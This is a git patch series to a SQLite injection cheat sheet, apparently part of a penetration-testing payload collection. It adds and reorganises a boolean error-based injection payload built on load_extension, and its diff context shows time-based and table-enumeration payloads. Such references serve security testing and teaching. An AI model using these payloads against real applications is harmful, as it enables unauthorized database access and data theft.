From 0d9a2354e5a3b586ab3fc7144ad951f32431ba70 Mon Sep 17 00:00:00 2001 From: "mr.The" Date: Fri, 12 Aug 2022 18:33:44 +0300 Subject: [PATCH 1/3] Add error-based vector for the sqlite --- SQL Injection/SQLite Injection.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/SQL Injection/SQLite Injection.md b/SQL Injection/SQLite Injection.md index 2cdc050..bc61b61 100644 --- a/SQL Injection/SQLite Injection.md +++ b/SQL Injection/SQLite Injection.md @@ -11,6 +11,7 @@ * [Boolean - Enumerating table name](#boolean---enumerating-table-name) * [Boolean - Extract info](#boolean---extract-info) * [Time based](#time-based) +* [Error based](#error-based) * [Remote Command Execution using SQLite command - Attach Database](#remote-command-execution-using-sqlite-command---attach-database) * [Remote Command Execution using SQLite command - Load_extension](#remote-command-execution-using-sqlite-command---load_extension) * [References](#references) @@ -77,6 +78,12 @@ and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) ``` +## Error based + +```sql +AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END +``` + ## Remote Command Execution using SQLite command - Attach Database ```sql @@ -96,3 +103,4 @@ Note: By default this component is disabled ## References [Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf) +[SQLite Error Based Injection for Enumeration](https://rioasmara.com/2021/02/06/sqlite-error-based-injection-for-enumeration/) From f82efffbc7c87aca2e45420b8dda5dd48ca1c96e Mon Sep 17 00:00:00 2001 From: "mr.The" Date: Fri, 12 Aug 2022 18:36:43 +0300 Subject: [PATCH 2/3] Boolean error based* instead of just error based --- SQL Injection/SQLite Injection.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/SQL Injection/SQLite Injection.md b/SQL Injection/SQLite Injection.md index bc61b61..30d20b9 100644 --- a/SQL Injection/SQLite Injection.md +++ b/SQL Injection/SQLite Injection.md @@ -11,7 +11,7 @@ * [Boolean - Enumerating table name](#boolean---enumerating-table-name) * [Boolean - Extract info](#boolean---extract-info) * [Time based](#time-based) -* [Error based](#error-based) +* [Boolean error based](#boolean-error-based) * [Remote Command Execution using SQLite command - Attach Database](#remote-command-execution-using-sqlite-command---attach-database) * [Remote Command Execution using SQLite command - Load_extension](#remote-command-execution-using-sqlite-command---load_extension) * [References](#references) @@ -78,7 +78,7 @@ and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) ``` -## Error based +## Boolean error based ```sql AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END From 7663594118ea2286cf7434e97880934a3f0a9283 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Wed, 7 Sep 2022 14:02:38 +0200 Subject: [PATCH 3/3] Update SQLite Injection.md --- SQL Injection/SQLite Injection.md | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/SQL Injection/SQLite Injection.md b/SQL Injection/SQLite Injection.md index 30d20b9..6355d74 100644 --- a/SQL Injection/SQLite Injection.md +++ b/SQL Injection/SQLite Injection.md @@ -10,8 +10,8 @@ * [Boolean - Count number of tables](#boolean---count-number-of-tables) * [Boolean - Enumerating table name](#boolean---enumerating-table-name) * [Boolean - Extract info](#boolean---extract-info) +* [Boolean - Error based](#boolean---error-based) * [Time based](#time-based) -* [Boolean error based](#boolean-error-based) * [Remote Command Execution using SQLite command - Attach Database](#remote-command-execution-using-sqlite-command---attach-database) * [Remote Command Execution using SQLite command - Load_extension](#remote-command-execution-using-sqlite-command---load_extension) * [References](#references) @@ -72,17 +72,18 @@ and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char') ``` +## Boolean - Error based + +```sql +AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END +``` + ## Time based ```sql AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) ``` -## Boolean error based - -```sql -AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END -``` ## Remote Command Execution using SQLite command - Attach Database